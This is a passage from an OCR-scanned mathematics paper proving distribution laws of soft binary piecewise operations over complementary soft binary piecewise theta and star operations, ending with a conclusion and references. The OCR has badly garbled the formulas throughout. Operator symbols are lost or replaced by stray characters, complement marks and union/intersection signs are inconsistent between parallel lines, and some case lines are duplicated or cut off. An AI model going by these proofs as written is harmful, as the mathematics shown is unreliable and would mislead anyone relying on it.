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CA(s), se(F\H)\G=FNG’NH’
A’(S)UC’(S), se(FNH)\G=FNG’NH
A’(S)UB’(), se(F\H)N(G\H)=FNGNH’

T(s)= | A’(S)U[B’(S)UC’ ()], se(F\H)N(GNH)=0
[A’(s) UC’(s)]UB’(s), se(FNH)N(G\H)=¢
A SUCS)V[B EUCS)], se(FNH)N(GNH)=FNGNH

It is seen that (N,F)=(T,F).

* *
9) [(A,F) ~ (B,G)]8(C,H)=[(A,F) ~ (C,H)]A[(B,G)\(C,H)], where FNGNH’=0.
* \

*
Proof: Let (A,F) ~ (B,G)=(M,F), where VseF;
*

A’(s), seF\G
M(s)=
A’(s)UB’(s), seFNG
Let (M,F)8(C,H)=(N,F), where VseF;

M(s), seF\H
N(s)=

M’(s)NC’(s), seFNH

Thus,
T A(s), se(F\G)\H=FNG’NH’
N(s)= | A’(s)UB’(s), se(FNG)\H=FNGNH’
1 AG)NC(S) se(F\G)NH=FNG’NH
[AGS)NB(S)INC’(s) se(FNG)NH=FNGNH
- * *
Now let’s handle [(A,F) f\~ (C,H)]A[(B,G)\(C,H)]. Let (A,F) f\v (C,H)=(V,F), where
VseF;
A’(S), seF\H
V(SF{
A(S)NC’(s), seFNH

Suppose that (B,G)\ (C,H)=(W,G), where VseG;
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B(s), seG\H
W(s)=

B(s)NC’(s), seGNH
Let (V,F)A (W,H)=(T,F), where VseF;

V(s), seF\H
T(s)= {
V(s)NW(s), seFNH

Therefore,
~ As), se(F\H)\G=FNG’NH’
A(s)NC’(s), se(FNH)\G=FNG’NH
A’(S)NB(s), se(F\H)N(G\H)=FNGNH’
Ts)= | A(S)N[BENC G, se(F\H)N(GNH)=0
[A(S)NC’(8)]NB(S), se(FNH)N(G\H)=0
| [AGNC(QINBENC )], se(FNH)N(GNH)=FNGNH

It is seen that (N,F)=(T,F).

* %
10) [(A,F) ~ (B,G)] ; (C,H)=[(A,F) ~ (C,H)]A[(B,G)A(C,H)], where FNGNH’=@.
* A
*
Proof: Let (A,F) ~ (B,G)=(M,F), where VseF;
*

A’(S), seF\G
M(s)=
A’(S)UB’(s), seFNG
Let (MF) 4 (CH)=(N,F), where VseF;

M(s), seF\H
N(s)= ‘{
M’(s)UC’(s), seFNH
Thus,
T A(9), se(F\G)\H=FNG’NH’
N(s)= | A’(s)UB’(s), se(FNG)\H=FNGNH’
| AGS)UC’(s) se(F\G)NH=FNG’NH
[A(S)NB(s)]UC’(s) se(FNG)NH=FNGNH
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* %
Now let’s handle [(A,F) ~ (C,H)]A[(B,G)A(C,H)]. Let (A,F) ~ (C,H)=(V,F), where

A A
VseF;
A’(S), seF\H
V(s)= {
A(s)uC’(s), seFNH

Suppose that (B,G)A(C,H)=(W,G), where VseG;

B(s), seG\H
W(s)= [
B(s)uC’(s), seGNH
Let (V,F)N (W,H)=(T,F), where VseF;
V(s), seF\H
T(s)=
V(s)nW(s), seFNH

Thus,

T A(9), se(F\H\G=FNG’NH’
A(S)UC’(s), se(FNH)\G=FNG’NH
A’(s)NB(s), se(F\H)N(G\H)=FNGNH’

T()= | A'(s)N[BEUCE)], se(FH)N(GNH)=¢
[A(S)UC’(S)]NB(S), se(FNH)N(G\H)=0
[AG)UC’G)IN[B(E)UC’ ()],  se(FNH)N(GNH)=FNGNH

It is seen that (N,F)=(T,F).

* * *
11) [(AF) ~ (B,G)IN(C,H)=[(AF) ~ (CH)IT[(B,G) ~ (C,H)]
* Y Y
*
Proof: Let (A,F) ~ (B,G)=(M,F), where VseF;
*

A’(s), seF\G
M(s)=
A’(S)UB’(s), seFNG

Let (M,F)A(C,H)=(N,F), where VseF;
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M(s), seF\H
N(s)=

M(s)NC(s), seFNH

Thus,
CA(S), se(F\G)\H=FNG’NH’
N(s)= | A’(s)UB’(s), se(FNG)\H=FNGNH’
1 Ance) se(F\G)NH=FNG’NH
[A’(5)UB’(S)]NC(s)  se(FNG)NH=FNGNH
% % %
Now let’s handle [(A,F) ~ (C,H)]T[(B,G) ~ (C,H)]. Let (A,F) ~ (C,H)=(V,F), where VseF;
Y Y Y
A’(S), seF\H
V(s)=
A’(S)NC(s), seFNH
%
Suppose that (B,G) ~ (C,H)=(W,G), where VseG;
Y
B’(s), seG\H
W(s)= |
B’(s)NC(s), seGNH

Let (V,F)T (W,H)=(T,F), where VseF;

V(s), seF\H
T(s)=
V(s)UW(s), seFNH

Thus,

T OA(s), se(F\H)\G=FNG’NH’
A’(s)NC(s), se(FNH)\G=FNG’NH
A’(S)UB’(s), se(F\H)N(G\H)=FNGNH’

T(s)= | A’(S)U[B’(S)NC(S)], se(F\H)N(GNH)=
[A°(s) NC(S)]UB’(s), se(FNH)N(G\H)=0
[AENCE]NU BONCE]  se(FNHNGNH)=FNGNH

It is seen that (N,F)=(T,F).

* * *
12) [(AF) ~ (B,G)]TU(C,H)=[(AF) ~ (CH)IT[(B,G) ~ (C,H)]
* + +
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*
Proof: Let (A,F) ~ (B,G)=(M,F), where VseF;
*

A(S), seF\G
M(s)=
A’(S)UB’(s), seFNG
Let (M,F)U(C,H)=(N,F), where VseF;

M(s), seF\H
N(s)=
M(s)UC(s), seFNH
Thus,
T A(s), se(F\G)\H=FNG’NH’
N(s)= | A’(s)UB’(s), se(FNG)\H=FNGNH’
1 A (s)uC(s), se(F\G)NH=FNG’NH
[A’(s)UB’(S)JUC(s), se(FNG)NH=FNGNH
% % %
Now let’s handle [(A,F) ~ (C,H)]T[(B,G) ~ (C,H)].Let (A,F) ~ (C,H)=(V,F), where
+ + +
VseF;
A’(s), seF\H
V(s)=
A’(S)UC(s), seFNH
Suppose that (B,G) f (C,H)=(W,G), where VseG,;
+
B’(s), seG\H
W(s)= +
B’(s)UC(s), seGNH
Let (V,F)U (W,H)=(T,F), where VseF;
V(s), seF\H
T(s)=
V(s)UW(s), seFNH

Thus,
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T A(S), se(F\H\G=FNG’NH’
A’(S)UC(s), se(FNH)\G=FNG’NH
A’(S)UB’(3), se(F\H)N(G\H)=FNGNH’

T(s)= | A’(S)U[B’(S)UCE)], se(F\H)N(GNH)=0
[A’(5)UC(S)]UB’(5), se(FNH)N(G\H)=0
[ASUCEIU [B'GUCE)],  se(FNE)N(GNH)=FNGNH

It is seen that (N,F)=(T,F).
3.1.2. Distribution of soft binary piecewise operations over complementary soft

binary piecewise theta operation:

*
1) (AF)FI(B,G) ~ (CHI=[(AF) & (B.G)ALCH) 4 (AF)], where FNG’NH=9.
0
%k
Proof: Let (B,G) ~ (C,H)=(M,G), where VseG;
0

B’(s), seG\H
M(s)=
B’(s)NC’(s), seGNH
Let (A,F)¥(M,G)=(N,F), where VseF;
" A(®S), seF\G
N(s)= -
| A’(S)UM(s), seFNG
Thus,
YS! seF\G
A’(S)UB’(s), seFN(G\H)=FNGNH’
A’(S)U[(B’(S)NC’(s)], seFN(GNH)=FNGNH

N(s)=

A

Now let’s handle [(AF) & (B,G)IALCH) 4 (AF)]. Let (AF)  (B,G)=(V,F), where

VseF;
A(s), seF\G
V(s)=
A’(S)UB’(s), seFNG
Suppose that (C,H) ; (A, F)=(W,H), where VseH;
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[ C(s), seH\F
W(s)= -
C’(s)UA’(s), seHNF

L;et (V,F)A(W,H)=(T,F), where VseF
V(s), seF\H

T(S)= -~
| V(S)NW(s), seFNH

Thus,

T A®), se(F\G)\H=FNG’NH’
A’(S)UB’(S), se(FNG)\H=FNGNH’
A(s)NC(s), se(F\G)N(H\F)=¢

T(s)= | AG)N[C’G)UA S)], se(F\G)N(HNF)=FNG’NH
[A’(s)UB’(5)]NC(s), se(FNG)N(H\F)=¢
| [A(5)UB’(S)]N[C (S)UA’(S)],  se(FNG)N(HNF)=FNGNH

Since F\G=FNG’, if seG’, then seH\G or se(GUH)’. Hence, if seF\G, seFNG’NH’ or
seFNG’NH. Thus, it is seen that (N,F)=(T,F).

2) [(AF) f (B,G)]¥(C,H)=[(A,F) f (C,H)]T[(B,G)U(C,H)], where FNGNH’=@.
0 . U
Proof: Let (A,F) ~ (B,G)=(M,F), where VseF;
0
A’(s), seF\G
M(s)=
A’(S)NB’(s), seFNG
Let (M,F)¥(C,H)=(N,F), where VseF;
M(s), seF\H
N(s)=
M’(s)uC(s), seFNH
T A(s), se(F\G)\H=FNG’NH’
N(s)= | A’(S)NB’(s), se(FNG)\H=FNGNH’
1 A(S)UC(s) se(F\G)NH=FNG’NH
[A(S)UB(S)]JUC(s)  se(FNG)NH=FNGNH

149



* *
Now let’s handle [(A,F) ~ (C,H)]U[(B,G)UJ(C,H)]. Let (A,F) ~ (C,H)=(V,F), where

U U
VseF;
A(S), seF\H
V(s)= {
A(S)UC(s), seFNH
Suppose that (B,G)U(C,H)=(W,G), where VseG;
B(s), seG\H
W(s)= ‘{
B(s)UC(s), seGNH
Let (V,F)U (W,H)=(T,F), where VseF;
V(s), seF\H
T(s)= {
V(s)UW(s), seFNH
Hence,

T A(s), se(F\H)\G=FNG’NH’
A(S)UC(s), se(FNH)\G=FNG’NH
A’(S)UB(S), se(F\H)N(G\H)=FNGNH’

T(s)=| A’(S)U[B(S)UC(S)], se(F\H)N(GNH)=0
[A(S)UC(S)]UB(S), se(FNH)N(G\H)=0
[A(S)UC(s)]U [B(S)UC(s)], se(FNH)N(GNH)=FNGNH
\It is seen that (N,F)=(T,F).
3) (AF)VI(B,G) i (CH)IZ[(AF) o(B.G)IAL(CH) o(AF)], where FNG*NH=9.
9*
Proof: Let (B,G) ~ (C,H)=(M,G), where VseG;
0
B’(s), seG\H
M(s)=

B’(s)NC’(s), seGNH

Let (A,F);(M,G)z(N,F), where VseF;
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AGS), seF\G

N(s)=
A’(S)NM(s), seFNG
Thus,
A(s), seF\G
N(s)= A’(s)NB’(s), seFN(G\H)=FNGNH’
A’(S)N[(B’(S)NC’(s)], seFN(GNH)=FNGNH
Now let’s handle [(AF) (B.G)IA[(C.H) 4(A.F)]. Let (AF) o(B.G)=(V,F), where
VseF;
A(s), seF\G
V(s)=
A’(s)NB’(s), seFNG
Suppose that (C,H)Ne(A,F):(W,H), where VseH;
C(s), seH\F
W(s)=
C’(s)NA’(9), seHNF
Let (V,F)N(W,H)=(T,F) VseF;
V(s), seF\H
T(s)=
V(S)NW(s), seFNH

Thus,

T A-), se(F\G)\H=FNG’NH’
A’(S)NB’(S), se(FNG)\H=FNGNH’
A(s)NC(s), se(F\G)N(H\F)=0

Ts)= | AG)N[C (SNA’G)], se(F\G)N(HNF)=FNG’NH

[A’(s)NB’(s)]NC(s), se(FNG)N(H\F)=0

[A(S)NBSIN[C()NA’(S)], se(FNG)NHNF)=FNGNH

Since F\G=FNG’, if seG’, then seH\G or se(GUH)’. Hence, if sSeF\G, seFNG’NH’ or

seFNG’NH. Thus, it is seen that (N,F)=(T,F).

* * *
4) [(AF) ~ (B,G)]¥(C,H)=[(AF) ~ (C,H)]T[(B,G) ~ (C,H)], where FNGNH’=@.
0 N N
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*
Proof: Let (A,F) ~ (B,G)=(M,F), where VseF;
0

A’(s), seF\G
M(s)=
A’(S)NB’(s), seFNG

Let (M,F)8(C,H)=(N,F), where VseF;

M(s), seF\H
N(s)= |
M’(s)NC(s), seFNH
Thus,
T A(S), se(F\G) \H=FNG’NH’
N(s)= | A’(s)NB’(s), se(FNG)\H=FNGNH’
1 AG)NC(s) se(F\G)NH=FNG’NH
[A(s)UB(S)]NC(s)  s€(FNG)NH=FNGNH
* % *
Now let’s handle [(A,F) ~ (C,H)]T[(B,G) ~ (C,H)]. Let (A,F) ~ (C,H)=(V,F), where
N N N
VseF;
A’(S), seF\H
V(s)=
A(s)NC(s), seFNH
Suppose that (B,G) f (C,H)=(W,G), where VseG,;
N
B’(s), seG\H
W(s)= «[
B(s)NC(s), seGNH
Let (V,F)U (W,H)=(T,F), where VseF;
V(s), seF\H
T(s)= {
V(s)UW(s), seFNH

Hence,
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CA(S), se(F\H)\G=FNG’NH’
A(s)NC(s), se(FNH)\G=FNG’NH
A’(S)UB’(s), se(F\H)N(G\H)=FNGNH’

T(s)= | A’(s)U[B(E)NCE)], se(F\H)N(GNH)=0
[A(S)NC(S)]UB’(S), se(FNH)N(G\H)=0
[AONCEIU [BENCE)],  se(FNHNGNH)=FNGNH

It is seen that (N,F)=(T,F).

N *

5) (AF)\ [(B,G) ~ (CH)I=[(AFA(B,G)ITI(C,HN(AF)].
0
%

Proof: Let (B,G) ~ (C,H)=(M,G), where VseG,;
0

B’(9), seG\H
M(s)=
B’(s)NC’(s), seGNH
Let (A,F)\(M,G)=(N,F), where VseF;

A(S), seF\G
N(s)=
A(S)NM’(s), seFNG
Thus,
A(s), seF\G
N(s)= 4 A(S)NB(s), seFN(G\H)=FNGNH’

A(S)N[(B(s)UC(s)], seFN(GNH)=FNGNH
Now let’s handle [(A,F)"(B,G)]T[(C,H)A(A,F)]. Let (A,F)N((B,G)=(V,F), where

VseF;
A(s), seF\G
V(s)=
A(s)NB(s), seFNG
Suppose that (C,H)N(A,F)=(W,H), where VseH;
C(s), seH\F
W(s)= {
C(s)NA(s), seHNF

Let (V,F)T(W,H)=(T,F) VseF:
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V(s), seF\H
T(s)=
V(S)UW(s), seFNH

Thus,

T A®), se(F\G)\H=FNG’NH’
A(S)NB(S), se(FNG)\H=FNGNH’
A(S)UC(s), se(F\G)N(H\F)=0

T(s)= | A(S)U[C(S)NA®)], se(F\G)N(HNF)=FNG’NH
[A(5)NB(s)]UC(s), se(FNG)N(H\F)=0
[AG)NBE)V[CE)NAE)],  se(FNG)NHNF)=FNGNH

" A®), se(F\G)\H=FNG’NH’
A(S)NB(s), se(FNG)\H=FNGNH
A(S)UC(S), se(F\G)N(H \F)=¢

TG)= | AG) se(F\G)N(HNF)=FNG’NH
[A(s)NB(s)]JUC(s), se(FNG)N(H\F)=0@
[AGNBEIVICENAE)],  se(FNG)NHNF)=FNGNH

Since F\G=FNG’, if seG’, then seH\G or se(GUH)’. Hence, if seF\G, seFNG’NH’ or
seFNG’NH. Thus, it is seen that (N,F)=(T,F).

* % %
6) [(AF) ~ (B,G)I\(C,H)=[(AF) ~ (C.H)IA[(B,G) ~ (CH)].
0 0 0
*
Proof: Let (A,F) ~ (B,G)=(M,F), where VseF
0

A’(s), seF\G
M(s)=
A’(s)NB’(s), seFNG

Let (M,F)\(C,H)=(N,F), where VseF;

M(s), seF\H
N(s)=

M(s)NC’(s), seFNH

Thus,
T A(S), se(F\G)\H=FNG’NH’
N(s)= | A’(s)NB’(s), se(FNG)\H=FNGNH’

A’(S)NC(s), se(F\G)NH=FNG’NH
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[A’(S)NB’(5)]NC’(s), se(FNG)NH=FNGNH
& k *

Now let’s handle [(A,F) ~ (C,H)]R[(B,G) ~ (C,H)]. Let (A,F) ~ (C,H)=(V,F), where
0 0 0

VseF;

A(9), seF\H
V(S)={

A(SNC’(S),  seFNH

*
Suppose that (B,G) ~ (C,H)=(W,G), where VseG,;
0
B’(s), seG\H
W(s)=
B’(s)NC’(s), seGNH

Let (V,F)N (W,H)=(T,F), where V seF

V(s), seF\H
T(s)=

V(s)NW(s), seFNH

Thus,

CA(s), se(F\H)\G=FNG’NH’
A’(s)NC’(s), se(FNH)\G=FNG’NH
A’(s)NB’(s), se(F\H)N(G\H)=FNGNH’

TG)= | A’G)NB*(S)NC ()], se(F\H)N(GNH)=0
[A’(s)NC’(s)]NB’(s), se(FNH)N(G\H)=0
[A’(s)NC’(s)]IN[B’(s)NC’(s)], se(FNH)N(GNH)=FNGNH

It is seen that (N,F)=(T,F).

*
7) (A F)A[(B,G) ~ (C,H)]=[(A,F)T(B,G)1T[(C,H)TA,F)], where FNG’NH=0.
0
%
Proof: Let (B,G) ~ (C,H)=(M,G), where VseG,;
0
B’(s), seG\H
M(s)=

B’(s)NC’(s), seGNH
Let (A,F)A(M,G)=(N,F), where VseF;
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AGS), seF\G

N(s)=
A(S)UM’(s), seFNG
A(s), seF\G
N(s)=_ A(s)UB(s), seFN(G\H)=FNGNH’
A(S)U[(G(s)UC(s)], seFN(GNH)=FNGNH
Now let’s handle [(A,F) U(B,G)]T[(C,H)T(AF)]. Let (A,F)T(B,G)=(V,F), where
VseF;
A(s), seF\G
V(s)=
A(s)UB(s), seFNG
Suppose that (C,H)UA,F)=(W,H), where VseH;
C(s), seH\F
W(s)= |
C(s)UA(s), seHNF

Let (V,F)T(W,H)=(T,F), where VseF;

V(s), seF\H
T(s)=
V(s)UW(s), seFNH

Thus,

CA®), se(F\G)\H=FNG’NH’
A(s)UB(s), se(FNG)\H=FNGNH’
A(s)UC(s), se(F\G)N(H\F)=0

T()= | AGS)U[C(S)UA(S)], se(F\G)N(HNF)=FNG *NH
[A(s)UB(s)JUC(s), se(FNG)N(H\F)=0
[A(S)UB(s)]U [C(S)UA(S)], se(FNG)N(HNF)=FNGNH

Since F\G=FNG’, if seG’, then seH\G or se(GUH)’. Hence, if seF\G, seFNG’NH’ or

seFNG’NH. Thus, it is seen that (N,F)=(T,F).
* 3 * *
8) [(AF) ~ (B,G)IMC,H)=[(A,F) ~ (C,H)]A[(B,G) ~ (C,H)].
0 * *
*
Proof: Let (AF) ~ (B,G)=(M,F), where VseF;
0
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A'(s), seF\G
M(s)= {

A’(s)NB’(s), seFNG
Let (M,F)A(C,H)=(N,F), where VseF;

M(s), seF\H
N(s)= |
M(s)uC’(s), seFNH
T A(), se(F\G)\H=FNG’NH’
N(s)= | A’(s)NB’(s), se(FNG)\H=FNGNH’
A GB)UCS) se(F\G)NH=FNG’NH
[A’(s)NB’(s)JuC’(s) se(FNG)NH=FNGNH
% % %
Now let’s handle [(A,F) ~ (C,H)]A[(B,G) ~ (C,H)].Let (A,F) ~ (C,H)=(V,F), where
% % %
VseF;
A(S), seF\H
V(s)= {
A’(S)UC’(s), seFNH
Suppose that (B,G) f (C,H)=(W,B), where VseG;
%
B’(s), seG\H
W(s):{
B’(s)uC’(s), seGNH

Let (V,F)N (W,H)=(T,F), where VseF;

V(s), seF\H
T(s)= {
V(s)NW(s), seFNH

Thus,

—A(S), se(F\H)\G=FNG’NH’
A’(S)UC’(s), se(FNH)\G=FNG’NH
A’(S)NB’(9), se(F\H)N(G\H)=FNGNH’

TG)= | A’S)N[B’(S)UC’(S)], se(F\H)N(GNH)=0
[A’(s)UC’(5)]NB’(s), se(FNH)N(G\H)=0
| [AG)UC(S)IN[B’(S)UC’(s)], se(FNH)N(GNH)=FNGNH
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It is seen that (N,F)=(T,F).

* *
9) [(A,F) ~ (B,G)]6(C,H)=[(A,F) ~ (C,H)]T[(B,G)\(C,H)], where FNGNH’=¢
0 \
*
Proof: Let (A,F) ~ (B,G)=(M,F), where VseF;
0

A’(9), seF\G
M(s)=
A’(S)NB’(s), seFNG
Let (M,F)8(C,H)=(N,F), where VseF;

M(s), seF\H
N(s)=
M’(s)NC’(s), seFNH
Thus,
[ A(9), se(F\G)\H=FNG’NH’
N(s)= | A’(S)NB’(s), se(FNG)\H=FNGNH’
1 AeNCE), se(F\G)NH=FNG’NH
[A(S)UB(S)INC’(s),  se(FNG)NH=FNGNH
% %
Now let’s handle [(A,F)f\v(C,H)]U[(B,G)K(C,H)]. Let (A,F)f\v (C,H)=(V,F), where
VseF;
A(S), seF\H
V(s)= {
A(S)NC’(s), seFNH
Suppose that (B,G)\ (C,H)=(W,G), where VseG;
B(s), seG\H
W(s)=
B(s)NC’(s), seGNH
Let (V,F)U (W,H)=(T,F), where VseF;
V(s), seF\H
T(s)= «{
V(s)UW(s), seFNH
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Thus,

A(S), se(F\H)\G=FNG’NH’
A(s)NC’(s), se(FNH)\G=FNG’NH
A’(s)UB(S), se(F\H)N(G\H)=FNGNH’

TE)= | AGS)U[BE)NC ($)], se(F\H)N(GNH)=0
[AGS)NC’(s)]UB(S), se(FNH)N(G\H)=0
[AGNCOIU BEONC()],  se(FNH)NGNH)=FNGNH

It is seen that (N,F)=(T,F).
* %

10) [(AF) ~ (B,G)] ; (C,H)=[(A,F) ~ (C,H)]T[(B,G)A(C,H)], where FNGNH’=@.
0 , A
Proof: Let (A,F) ~ (B,G)=(M,F), where VseF;
0
A’(s), seF\G
M(s)= ‘[
A’(s)NB’(s), seFNG
Let (M,F) o (CH)=(N,F), where VseF,
M(s), seF\H
N(s)=
M’(s)uC’(s), seFNH
Thus,
T A(S), se(F\G)\H=FNG’NH’
N(s)= | A’(s)NB’(s), se(FNG)\H=FNGNH’

1 A UC(s), se(F\G)NH=FNG’NH
[A(S)UB(S)]UC’(s), se(FNG)NH=FNGNH
Now let [(A,F) f (C,H)]T[(B,G)A(C,H)]. Let (AF) f (C,H)=(V,F), where VseF;

A A
A’(s), seF\H
V(s)= {
A(s)uC’(s), seFNH

Suppose that (B,G)A (C,H)=(W,G), where VseG;
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B(s), seG\H
W(s)=

B(s)uC’(s), seGNH
Let (V,F)U (W,H)=(T,F), where VseF;

V(s), seF\H
T(s)=
V(S)UW(s), seFNH

Hence,

CA(s), se(F\H\G=FNG’NH’
A(s)uC’(s), se(FNH)\G=FNG’NH
A’(S)UB(s), se(F\H)N(G\H)=FNGNH’

T6)= | A’(5)U[B(E)UC G)], se(F\H)N(GNH)=0
[A(s)UC’()]UB(s), se(FNH)N(G\H)=0
[A(S)UC’(s)]U [B(s)uC’(s)],  se(FNH)N(GNH)=FNGNH

[t is seen that (N,F)=(T,F).
* * *
11) [(AF) ~ (B,G)IA(C,H)=[(A,F) ~ (C,H)A[(B,G) ~ (CH)].
0 Y Y
*
Proof: Let (A,F) ~ (B,G)=(M,F), where VseF;
0

A’(9), seF\G
M(s)= {

A’(S)NB’(s), seFNG
Let (M,F)A(C,H)=(N,F), where VseF;

M(s), seF\H
N(s)=

M(s)NC(s), seFNH
Thus,
T A(s), se(F\G)\H=FNG’NH’
N(s)=| A’(s)NB’(s), se(FNG)\H=FNGNH’
| A’(s)NC(s) se(F\G)NH=FNG’NH
L[A’(s)NB’(s)]NC(s) se(FNG)NH=FNGNH
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% % %
Now let’s handle [(A,F) ~ (C,H)]A[(B,G) ~ (C,H)]. Let (A,F) ~ (C,H)=(V,F), where

Y Y Y
VseF;
A’(s), seF\H
V(s)=
A’(S)NC(s), seFNH
%
Suppose that (B,G) ~ (C,H)=(W,G), where VseG;
Y
B’(s), seG\H
W(s)= {
B’(s)NC(s), seGNH

Let (V,F)N (W,H)=(T,F), where VseF;

V(s), seF\H
T(s)=

V(s)NW(s), seFNH

Hence,

CA(), se(F\H)\G=FNG’NG’
A’()NC(S), se(FNH)\G=FNG’NH
A’(S)NB’(S), se(F\H)N(G\H)=FNGNH’

TG)= | A’G)N[B’(S)NCEH)], se(F\H)N(GNH)=0
[A’(S)NC(S)]NB’(S), se(FNH)N(G\H)=0
[A’(S)NCES)]N[B’(S)NC(S)],  se(FNH)N(GNH)=FNGNH

ft is seen that (N,F)=(T,F).

* * *
12) [(AF) ~ (B,G)]U(C,H)=[(A,F) ~ (CH)IN[(B,G) ~ (C,H)].
0 + +
*
Proof: Let (A,F) ~ (B,G)=(M,F), where VseF;
0
A’(S), seF\G
M(s)=
A’(s)NB’(s), seFNG

Let (M,F)G(C,H)=(N,F), where VseF;
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M(s), seF\H

N(s)=
M(s)UC(s),  seFNH
CA(), se(F\G)\H=FNG’NH’
N(s)= | A’(s)NB’(s), se(FNG)\H=FNGNH’
| A (s)UC(s), se(F\G)NH=FNG’NH
[A’(5)NB’(8)]UC(s), se(FNG)NH=FNGNH
* % *
Now let’s handle [(A,F) ~ (C,H)]R[(B,G) ~ (C,H)]. Let (A,F) ~ (C,H)=(V,F), where
+ + +
VseF;
A(9), seF\H
V(s)=
A’(S)UC(s), seFNH
Suppose that (B,G) f (C,H)=(W,G), where VseG,;
+
B(s), seG\H
W(s)=
B’(s)uC(s), seGNH
Let (V,F)N (W,H)=(T,F), where VseF;
V(s), seF\H
T(s)=
V(s)NW(s), seFNH
A’(9), se(FH\G=FNG’NH’
| A’(5)UC(S), se(FNH)\G=FNG’NH
A’(S)NB’(s), se(F\H)N(G\H)=FNGNH’
T(s)= | A’(S)N[B’(s)UC(s)], se(F\H)N(GNH)=0
| [A*(s)uUCE)]NB (), se(FNH)N(G\H)=0
[A’(S)UC(S)]N[B’(S)UC(S)],  se(FNH)N(GNH)=FNGNH
It is seen that (N,F)=(T,F).

4. Conclusion
In this paper, we explore more about soft binary piecewise theta and star operation by
examining the relationships between this soft set operation and other types of soft set
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operations. In this paper, it is aimed to contribute to the soft set literature by obtaining the
distributions of soft binary piecewise operations over soft binary piecewise theta and star
operations with complement. This paper is a theoretical study of soft sets and some future
studies may continue by defining and examining some other distribution rules. For future
studies, this research is to serve as a basis for many applications, especially decision making
cryptography. Since soft set is a powerful mathematical tool for uncertain object detection, with
this study, researchers may suggest some new encryption based on soft sets.

Author’s Contribution

The contribution of authors is equal.

Conflict of Interest

The authors have declared that there is no conflict of interest.

References

Addis GM, Engidaw DA, Davvaz B., 2022. Soft mappings: a new approach. Soft
Computing, 26: 3589-3599.

Akbulut E., 2024. New type of extended operations of soft set: complementary extended
lambda and difference operations. Amasya University The Graduate School of Natural and
Applied Sciences Master of Science in Mathematics Department, Amasya.

Ali M, Feng F, Liu X, Min WK, Shabir M., 2009. On some new operations in soft set
theory. Computers and Mathematics with Applications, 57(9): 1547-1553.

Atagiin AO, Aygiin E., 2016. Groups of soft sets. Journal of Intelligent & Fuzzy Systems,
30: 729-733.

Aybek F., 2024. New restricted and extended soft set operations. Amasya University The
Graduate School of Natural and Applied Sciences Master of Science in Mathematics
Department, Amasya.

Ayub S, Shabir M, Riaz M, Aslam M, Chinram R., 2021. Linear diophantine fuzzy
relations and their algebraic properties with decision making. Symmetry, 13(6): 945.

Cagman N., 2021. Conditional complements of sets and their application to group theory.
Journal of New Results in Science, 10(3): 67-74.

Demirci AM., 2024. New type of extended operations of soft set: complementary
extended plus, union and theta operations. Amasya University The Graduate School of Natural

and Applied Sciences Master of Science in Mathematics Department, Amasya.

163



Eren OF, 2019. On some operations of soft sets. Ondokuz Mayis University The Graduate
School of Natural and Applied Sciences Master of Science in Mathematics Department,
Samsun.

Molodtsov D., 1999. Soft set theory-first results. Computers and Mathematics with
Applications, 37(1): 19-31.

Maji PK, Bismas R, Roy AR., 2003. Soft set theory. Computers and Mathematics with
Applications, 45(1): 555-562.

Ozlii S. 2022a. Interval valued g- rung orthopair hesitant fuzzy choquet aggregating
operators in multi-criteria decision making problems. Gazi University Journal of Science Part
C: Design and Technology, 10(4): 1006-1025.

Ozlii S., 2022b. Interval valued bipolar fuzzy prioritized weighted dombi averaging
operator based on multi-criteria decision making problems. Gazi University Journal of Science
Part C: Design and Technology, 10(4): 841-857.

Paik B, Mondal SK. 2022. Introduction to soft-cryptosystem and its
application. Wireless Pers Commun 125:1801-1826.

Pei D, Miao D., 2005. From soft sets to information systems. in: proceedings of granular
computing. IEEE, 2: 617-621.

Riaz M, Hashmi MR., 2019. Linear diophantine fuzzy set and its applications towards
multi-attribute decision-making problems. Journal of Intelligent and Fuzzy Systems, 37: 5417-
5439.

Riaz M, Farid HMA., 2023. Linear diophantine fuzzy aggregation operators with multi-
criteria decision-making. Journal of Computational and Cognitive Engineering, 1-12.

Riaz M, Hashmi MR, Pamucar D, Chu Y., 2021. Spherical linear diophantine fuzzy sets
with modeling uncertainties in mcdm. Computer Modeling in Engineering and Sciences, 126:
1125-1164.

Sarialioglu M., 2024. New type of extended operations of soft set: complementary
extended gamma, intersection and star operations. Amasya University The Graduate School of
Natural and Applied Sciences Master of Science in Mathematics Department, Amasya.

Sezgin A, Atagiin AO., 2011. On operations of soft sets. Computers and Mathematics
with Applications, 61(5): 1457-1467.

Sezgin A, Atagiin AO., 2023. New soft set operation: Complementary soft binary
piecewise plus operation. Matrix Science Mathematics, 7(2): 110-127.

Sezgin A, Aybek F., 2023. New soft set operation: Complementary soft binary

piecewise gamma operation. Matrix Science Mathematic, 7(1): 27-45.

164



Sezgin A, Aybek F, Atagiin AO., 2023a. New soft set operation: Complementary soft
binary piecewise intersection operation. Black Sea Journal of Engineering and Science, 6(4):
330-346.

Sezgin A, Aybek F, Giingér NB., 2023b. New soft set operation: Complementary soft
binary piecewise union operation. Acta Informatica Malaysia, 1(7): 38-53.

Sezgin A, Cagman N, Atagiin AO, Aybek F., 2023¢c. Complemental binary operations
of sets and their application to group theory, Matrix Science Mathematic, 7(2): 91-98.

Sezgin A, Cagman N., 2024. A new soft set operation: Complementary soft binary
piecewise difference operation. Osmaniye Korkut Ata University Journal of the Institute of
Science and Technology, 7(1): 58-94.

Sezgin A, Dagtoros K., 2023. Complementary soft binary piecewise symmetric
difference operation: A novel soft set operation. Scientific Journal of Mehmet Akif Ersoy
University, 6(2): 31-45.

Sezgin A, Demirci AM., 2023. New soft set operation: Complementary soft binary

piecewise star operation. Ikonion Journal of Mathematics, 5(2): 24-52.
Sezgin A, Sarialioglu M., 2024. New soft set operation: Complementary soft binary
piecewise theta operation. Journal of Kadirli Faculty of Applied Sciences. (in press)
Sezgin A, Shahzad A, Mehmood A., 2019. New operation on soft sets: Extended
difference of soft sets. Journal of New Theory, 27: 33-42.

Sezgin A, Yavuz E., 2023a. A new soft set operation: soft binary piecewise symmetric
difference operation. Necmettin Erbakan University Journal of Science and Engineering,
5(2): 150-168.

Sezgin A, Yavuz E., 2023b. New soft set operation: Complementary soft binary
piecewise lambda operation. Sinop University Journal of Natural Sciences, 8(2):101-133.

Stojanovic NS., 2021. A new operation on soft sets: extended symmetric difference
of soft sets. Military Technical Courier, 69(4): 779-791.

Yavuz E., 2024. Soft binary piecewise operations and their properties, Amasya

UniversitycaliThe Graduate School of Natural and Applied Sci.nces Master of Science in

Mathematics Department, Amasya.

165


https://dergipark.org.tr/tr/pub/bsengineering
http://www.actainformaticamalaysia.com/
https://dergipark.org.tr/tr/pub/sjmakeu
https://dergipark.org.tr/tr/pub/sjmakeu

